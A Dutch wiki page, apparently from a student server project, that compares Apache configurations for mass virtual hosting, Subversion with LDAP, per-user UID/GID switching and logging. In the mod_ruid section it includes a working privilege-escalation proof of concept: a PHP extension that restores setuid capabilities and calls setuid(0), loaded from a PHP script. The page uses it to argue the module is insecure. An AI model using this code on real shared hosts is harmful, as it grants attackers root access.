De apache webserver is een van de belangrijkste services die het HULK serverpark gaat leveren. Er zijn een aantal eisen waaraan de apache server aan moet voldoen, om op een goede manier service te verlenen aan de gebruikers. Hieronder een opsomming van de specifieke eisen:
Voor bijna elk van de bovengenoemde eisen zijn er meerdere oplossingen mogelijk. Daarom onderzoeken we welke oplossingen samen de beste setup vormen. Onze ondervindingen zijn op deze wikipagina te lezen.
Software | mod_vhost_dbi-0.1.0.tar.bz2 |
---|
Het is mogelijk om virtualhosts uit een database te halen met mod_vhost_dbi. Deze apache module gebruikt libdbi om gegevens op te halen uit een database, zoals MySQL. Een voorbeeld van configuratie:
mod_vhost_dbi.conf (http://www.outoforder.cc/projects/apache/mod_vhost_dbi/docs/):
PoolDbiDriver Server1 mysql PoolDbiHost Server1 10.0.0.20 PoolDbiUsername Server1 myuser PoolDbiPassword Server1 mypass PoolDbiDBName Server1 vhost_dbi PoolDbiConnMin Server1 1 PoolDbiConnSoftMax Server1 1 PoolDbiConnHardMax Server1 5 PoolDbiConnTTL Server1 30 <VirtualHost *:80> VhostDbiEnabled On VhostDbiConnName Server1 VhostDbiQuery "SELECT ServerName, DocumentRoot, Username " \ FROM vhost_info WHERE ServerName = &{RequestHostname}" </VirtualHost>
Voordelen:
Nadelen:
Software | libapache2-mod-vhost-ldap (1.2.0-1) |
---|
Het is mogelijk om virtualhost informatie in een LDAP server op te slaan en deze te koppelen met Apache. mod_vhost_ldap biedt deze functionaliteit. Apache configuratie is als volgt:
vhost_ldap.conf (20-03-2008):
# # mod_vhost_ldap allows you to keep your virtual host configuration # in an LDAP directory and update it in nearly realtime. # ### NOTE ### ### mod_vhost_ldap depends on mod_ldap ### ### you have to enable mod_ldap as well ### LoadModule vhost_ldap_module modules/mod_vhost_ldap.so <IfModule mod_vhost_ldap.c> VhostLDAPEnabled on VhostLDAPUrl "ldap://127.0.0.1/ou=vhosts,ou=web,dc=localhost" VhostLdapBindDN "cn=admin,dc=localhost" VhostLDAPBindPassword "changeme" </IfModule>
Voordelen:
Nadelen:
Massahosting van honderden websites of meer gaat gemakkelijk met mod_vhost_hash_alias. Deze module heeft een unieke eigenschap. In de apache configuratie hoeft er niet meer 100x een <VirtualHost> definitie te komen voor elke vhost. Er hoeft slechts opgegeven te worden in welke directory alle vhosts zich bevinden en apache doet de rest. De hostname van de het vhost domein wordt door de module gehasht, waarmee de juiste directory op de disk wordt gevonden. Voorbeeld configuratie:
vhost_hash_alias.conf (http://www.vhffs.org/wiki/doc:guide:web-hosting):
# mod_vhost_hash_alias have to be enabled for each virtual host (catch-all) # HashEnable On # # Digest algorithm to use: # CRC32, ADLER32, MD5, SHA1, SHA256, or other types # supported by the module and libmhash # HashType md5 # # The output encoding (rfc3548) of hash result # hexa, base16_low, base16_up, base32_low, base32_up, base64_ufs, # HashEncoding hexa # # Number of characters to use to build the document root # The hash string is truncated to this length # HashLimit 6 # # Splitting scheme # Specify the size of each chunk of the digest string # The last count is taken until the end of string is reached # HashSplit 2 2 2 # # The base directory used to build the document root # (mandatory) # HashDocumentRootPrefix /data/web # # A directory added to the final built root # (optionnal) # HashDocumentRootSuffix htdocs # # A list of host prefix to strip # eg: this handle basic web aliasing # http://www.example.com/ # will point on the same document root than # http://example.com/ # # (optionnal) # HashAddAliasPrefix www ftp
vhffs (http://www.vhffs.org/wiki/doc:guide:web-hosting):
<VirtualHost *> ServerAdmin webmaster@localhost DocumentRoot /data/web HashEnable On <Directory /data/web/> Options -ExecCGI Indexes FollowSymLinks +Includes MultiViews IndexIgnore */.quota */.*passw* */.htaccess IndexOptions NameWidth=* AllowOverride All order allow,deny allow from all RewriteEngine on </Directory> ErrorLog /var/log/apache2/sites-error.log LogFormat "%V %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" vhffs CustomLog /data/logs/web/incoming/{SERVER_NAME}/vhffs.log vhffs # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. LogLevel warn ServerSignature On Alias /icons/ "/usr/share/apache2/icons/" <Directory "/usr/share/apache2/icons"> Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all </Directory> </VirtualHost>
Er hoeft hier dus maar 1x een <VirtualHost> gedefineerd te worden voor alle vhosts waarvoor service wordt verleend. Dit betekent wel, dat specifieke configuratie per virtual host lastig wordt. Het is dan wel weer mogelijk om hashing bij een vhost uit te zetten, alleen is dat niet de bedoeling wanneer deze module wordt gebruikt.
Voordelen:
Nadelen:
Software | apache2 (2.2.3-4+etch4) |
---|
Onder apache is het mogelijk om allerlei truuks uit te halen met URL requests van clients. Dit kan met mod_rewrite. Hiermee kan er ook geconfigureerd worden, dat HTTP/1.1
vhosts.conf (http://httpd.apache.org/docs/2.0/misc/rewriteguide.html):
RewriteEngine on RewriteCond %{HTTP_HOST} ^www\.[^.]+\.host\.com$ RewriteRule ^(.+) %{HTTP_HOST}$1 [C] RewriteRule ^www\.([^.]+)\.host\.com(.*) /home/$1$2
Voordelen:
Nadelen:
Software | libapache2-mod-macro (1.1.4-3.1) |
---|
Een uitstekende oplossing voor massahosting met apache is het gebruik van mod_macro. Met deze module is het mogelijk om binnen apache configuratie files macro's de defineren. Hierdoor kan een beheerder bijvoorbeeld <VirtualHost> in een macro zetten en toch vrij blijven om alle configuraties instellen die gewenst zijn. Voorbeeld van een macro setup:
vhosts.conf (http://www.cri.ensmp.fr/~coelho/mod_macro/#examples):
## Define a VHost Macro. <Macro VHost $host $port $dir> Listen $port <VirtualHost $host:$port> DocumentRoot $dir <Directory $dir> # do something here... </Directory> # limit access to intranet subdir. <Directory $dir/intranet> order deny,allow deny from all allow from 10.0.0.0/8 </Directory> </VirtualHost> </Macro> ## Use of VHost with different arguments. Use VHost www.apache.org 80 /projects/apache/web Use VHost www.perl.com 8080 /projects/perl/web Use VHost www.ensmp.fr 1234 /projects/mines/web
Voordelen:
Nadelen:
php.ini (26-03-2008):
... register_globals = Off register_long_arrays = Off register_argc_argv = Off magic_quotes_gpc = Off enable_dl = Off expose_php = Off ...
Software | libapache2-svn (1.4.2dfsg1-2) |
---|
Voor het hosten van subversion repositories zijn meerdere instellingen mogelijk. Een daarvan is het gebruik van SVNParentPath. Hiermee is het mogelijk om in een <Location> met SVNParentPath een directory op te geven waar alle repositories zich bevinden:
svn.conf (26-03-2008):
<Location /svn> # Uncomment this to enable the repository DAV svn # Path to repositories SVNParentPath /var/lib/svn # OpenLDAP authentication AuthName "LDAP login" AuthType Basic AuthBasicProvider ldap AuthLDAPURL "ldaps://server/dc=hulk,dc=net?uid" AuthzLDAPAuthoritative off AuthLDAPBindDN "cn=manager,dc=hulk,dc=net" AuthLDAPBindPassword password Require valid-user # To enable authorization via mod_authz_svn AuthzSVNAccessFile /etc/apache2/sites-available/svn.authz # The following three lines allow anonymous read, but make # committers authenticate themselves. It requires the 'authz_user' # module (enable it with 'a2enmod'). #<LimitExcept GET PROPFIND OPTIONS REPORT> #Require valid-user #</LimitExcept> </Location>
Door middel van de file svn.authz wordt bepaald welke user in welke repository kan komen:
svn.authz (26-03-2008):
[project1:/] foobar,fuzz = rw * = r [foobar:/] foobar = rw * =
Voordeel:
Nadeel:
Software | apache2 (2.2.3-4+etch4) |
---|
Een andere manier is om via mod_macro een macro te declareren, die SVNPath bevat. Daarbinnen kan dan met mod_auth_ldap authenticatie worden geregeld. Er wordt dan voor elke projectgroep een LDAP groep aangemaakt. Elk lid is dan een member van de groep, en heeft dan toegang tot de repository. Wanneer studenten in meerdere projecten meedoen, worden ze simpelweg in de correcte LDAP groepen geplaatst. Voorbeeld:
svn.macro (26-03-2008):
<Macro SVNRepos $repos $group> <Location /svn/$repos> # Uncomment this to enable the repository DAV svn # Path to repositories SVNPath /var/lib/svn/$repos # OpenLDAP authentication AuthName "$repos login" AuthType Basic AuthBasicProvider ldap AuthLDAPURL "ldaps://server/dc=hulk,dc=net?uid" AuthzLDAPAuthoritative on AuthLDAPBindDN "cn=manager,dc=hulk,dc=net" AuthLDAPBindPassword password AuthLDAPGRoupAttribute memberUid AuthLDAPGroupAttributeIsDN off Require ldap-group cn=$group,ou=Group,dc=hulk,dc=net </Location> </Macro>
svn.conf (26-03-2008):
Include "/etc/apache2/sites-available/svn.macro" Use SVNRepos project1 groep1 Use SVNRepos foobar foobar
Studenten kunnen toegang worden gegeven, door ze simpelweg lid te maken van de LDAP groep genaamd groep1:
hulk-ldap# ldapaddgroup groep1 hulk-ldap# ldapaddusertogroup user1 groep1 hulk-ldap# ldapaddusertogroup user2 groep1
Software | apache2 (2-2.2.3-4+etch4) |
---|
Deze manier is officieel supported door de apache ontwikkelaars. Suexec is gemaakt voor het switchen van UID/GID bij het aanroepen van CGI/SSI scripts. Wanneer PHP5 als CGI draait, kan Suexec dus worden gebruikt. Dit werkt op de volgende wijze:
Zoals hierboven beschreven staat, is het nadelig dat alleen CGI scripts worden uitgevoerd als de geconfigureerde UID/GID. Bovendien is er een extra setuid programma nodig op het systeem.
Voordelen:
Nadelen:
Software | libapache2-mod-suphp (0.6.2-1) |
---|
SuPHP is ontwikkeld voor het switchen van UID/GID bij het uitvoeren van PHP scripts onder apache. Er wordt gebruik gemaakt van een apache module die CGI requests afvangt en bepaalt naar welke UID/GID wordt verwisseld. SuPHP heeft een setuid binary (/usr/lib/suphp/suphp) die het switchen van UID/GID en uitvoeren van het script op zich neemt. Dit werkt als volgt:
Voordelen:
Nadelen:
Software | perchild.c |
---|
MPM (Multi Process Module) is een concept bedacht door de apache2 ontwikkelaars, om elk platform haar eigen module te gebruiken voor het zo snel mogelijk verwerken van requests. Voor elk platform zijn er meestal specifieke system calls waarmee er een hogere performance gehaald kan worden dan wanneer er gebruik wordt gemaakt van meer generieke functies.
MPM Per Child is een MPM die gebruik maakt van threads voor het uitvoeren van requests. Dit voorkomt veelvuldig gebruik van fork(2) en spaart geheugen. Een aardige feature van MPM Per Child is dat het mogelijk is om per virtual host een aparte UID/GID te configureren. Dat werkt op de volgende manier:
Voordelen:
Nadelen:
Software | | httpd-2.2.3-peruser-0.3.0.patch |
---|
Deze MPM is gebaseerd op MPM Per Child en functioneert op een zelfde wijze. Het verschil met MPM Per Child is dat MPM Per User de mogelijkheid biedt om elke virtual host binnen een chroot(2) te draaien. Hierbij gelden dus dezelfde voor en nadelen als MPM Per Child.
Software | apache2-mpm-itk (2.2.3-01-2+b1) |
---|
MPM prefork is een MPM module voor apache2, die processen met fork(2) aanmaakt. MPM ITK is op deze module gebaseerd. Er worden een aantal childs geforkt als root, die later, aan de hand van de VHost, worden geswitcht met setuid(2) en setgid(2). Dat werkt op deze manier:
Deze architectuur biedt een zeer goede manier van UID/GID switchen. Het nieuwe process kan onmogelijk terug naar superuser. Echter het forken van een nieuw process voor elk request zou performance moeilijkheden kunnen hebben.
Het voordeel wat de auteur van MPM-ITK aangeeft is het switchen van root naar een UID die later in het process gebruikt wordt om een applicatie te draaien. Standaard draait httpd onder de systeemgebruiker www-data (onder debian). Doordat httpd draait onder zo'n systeemgebruiker heeft het maar toegang tot een aantal files op het filesysteem. Wat MPM-ITK doet is de child httpd processen draaien als standaard gebruikers (e.g. piet, jan). Dit betekent dat httpd nu toegang heeft tot ALLE files en directories van die standaard gebruiker. Dit betekent ook dat httpd veel meer rechten heeft dan normaal het geval is, en hier moet wel rekening mee worden gehouden door de gebruikers en systeembeheerders.
Wat ik denk dat de schrijver eigenlijk wilde bereiken is om bijvoorbeeld de scripts eigenlijk de processen daarvan die de standaard gebruiker wil uitvoeren het UID van die gebruikers geven.
Mogelijke problemen
Stel er zit een buffer overflow die exploitbaar is in de httpd executable. Nu kan een inbreker zijn eigen code uitvoeren binnen het httpd process, en heeft die toegang tot ALLE files van de gebruiker. Normaal gesproken zou die toegang hebben tot alleen de files waar www-data toegang tot had.
Stel een gebruiker heeft een file of directory met z'n eigen uid en gid. Deze file of directory is nu dus toegankelijk via de webserver omdat die met hetzelfde uid draait, en niet als de systeemgebruiker.
Voordelen:
Nadelen:
Software | mod_ruid (mod_ruid-0.6b.tar.gz) |
---|
Mod_ruid is een kleine simpele apache 2.x module die gebruikt kan worden voor het switchen van UID/GID. Mod_ruid werkt op de volgende manier:
Het voordeel van deze manier is dat er geen extra fork(2) nodig is voor elke request dat binnenkomt. Er wordt simpelweg geswitcht tussen UID/GID wanneer dat nodig is. Deze manier is echter niet voldoende om onze apache2 server voldoende te beschermen. De security ligt nu namelijk bij een PHP5 script. Niemand kan het PHP5 script weerhouden om simpelweg cap_set_proc(3) te gebruiken, om setuid(2) en setgid(2) weer in te schakelen. Proof of concept:
moduletje.c (19-03-2008):
#include "php.h" #include <sys/capability.h> ZEND_MINIT_FUNCTION(moduletje); zend_module_entry moduletje_module_entry = { STANDARD_MODULE_HEADER, "Module'tje", NULL, ZEND_MINIT(moduletje), NULL, NULL, NULL, NULL, NO_VERSION_YET, STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(moduletje) ZEND_MINIT_FUNCTION(moduletje) { cap_t cap; cap_value_t capval[3]; cap=cap_get_proc(); capval[0]=CAP_SETUID; capval[1]=CAP_SETGID; cap_set_flag(cap,CAP_EFFECTIVE,2,capval,CAP_SET); cap_set_proc(cap); setuid(0); setgid(0); return SUCCESS; }
Makefile (19-03-2008):
moduletje.so: moduletje.o cc -shared -L/usr/local/lib -lcap -rdynamic -o moduletje.so moduletje.o moduletje.o: moduletje.c cc -fpic -DCOMPILE_DL=1 -I/usr/include/php5/ -I/usr/include/php5/TSRM -I/usr/local/include/php -I/usr/include/php5/main -I/usr/include/php5/Zend -c -o moduletje.o moduletje.c
foo.php (19-03-2008):
<?php dl("../../../../home/foobar/public_html/moduletje.so"); system("id"); ?>
Voordelen:
Nadelen:
Software | apache2-utils (2.2.3-4+etch4) |
---|
Een oplossing om logs per virtualhost bij te houden, is simpelweg het schrijven naar een en dezelfde file voor alle vhosts. Vervolgens kan met de utility split-logfile de grote logfile worden gesplitst per vhost, wanneer dit gewenst is.
apache2.conf (20-03-2008):
... CustomLog /var/log/apache2/access.log combined ErrorLog /var/log/apache2/error.log ...
Voordelen:
Nadelen:
Software | apache2 (2-2.2.3-4+etch4) |
---|
In plaats van een groote logfile kan er per vhost ook een aparte logfile worden ingesteld. Dit kan door in de <VirtualHost> definitie een CustomLog in te stellen. Hierdoor worden alle requests en errors per vhost in een aparte logfile weggeschreven. Voorbeeld:
vhost.conf (20-03-2008):
<VirtualHost *> ... CustomLog /var/log/apache2/mydomain.log combined ErrorLog /var/log/apache2/error.log ... </VirtualHost>
Voordelen:
Nadelen:
Software | apache2 (2-2.2.3-4+etch4) |
---|
Een andere optie is op een vergelijkbare wijze, de logging op te laten sturen naar een (extern) syslogd(8) process. Hierdoor hoeft apache zich niet druk te maken over waar, hoe en door wie de logfiles worden bijgehouden. Dit kan op de volgende manier:
vhost.conf (20-03-2008):
<VirtualHost *> ... CustomLog "|/usr/bin/logger -t httpd" combined ErrorLog syslog:httpd ... </VirtualHost>
Voordelen:
Nadelen:
Software | mod_log_sql-1.99.tar.gz |
---|
Logging kan ook naar een MySQL database. Alle requests en error berichten zullen dan worden overgestuurd naar een daarvoor gereserveerde database. Het is dan ook mogelijk om queries uit te voeren op de entries in de database. Apache houdt 1 unix domain socket open, waarover alle logging wordt verstuurd. Dit kan geconfigureerd worden per virtual host:
vhost.conf (http://www.outoforder.cc/projects/apache/mod_log_sql/docs-2.0/?chapter=/3/2/):
... LogSQLLoginInfo mysql://loguser:l0gg3r@dbmachine.foo.com/apachelogs LogSQLCreateTables on ... <VirtualHost *> ... LogSQLTransferLogTable access_log ... </VirtualHost> ...
Voordelen:
Nadelen:
Zie ldap_apache voor uitleg hoe authenticatie via LDAP binnen apache mogelijk is.
Wanneer de voor- en nadelen van de verschillende manieren vergeleken worden, zou een mogelijk oplossing kunnen zijn: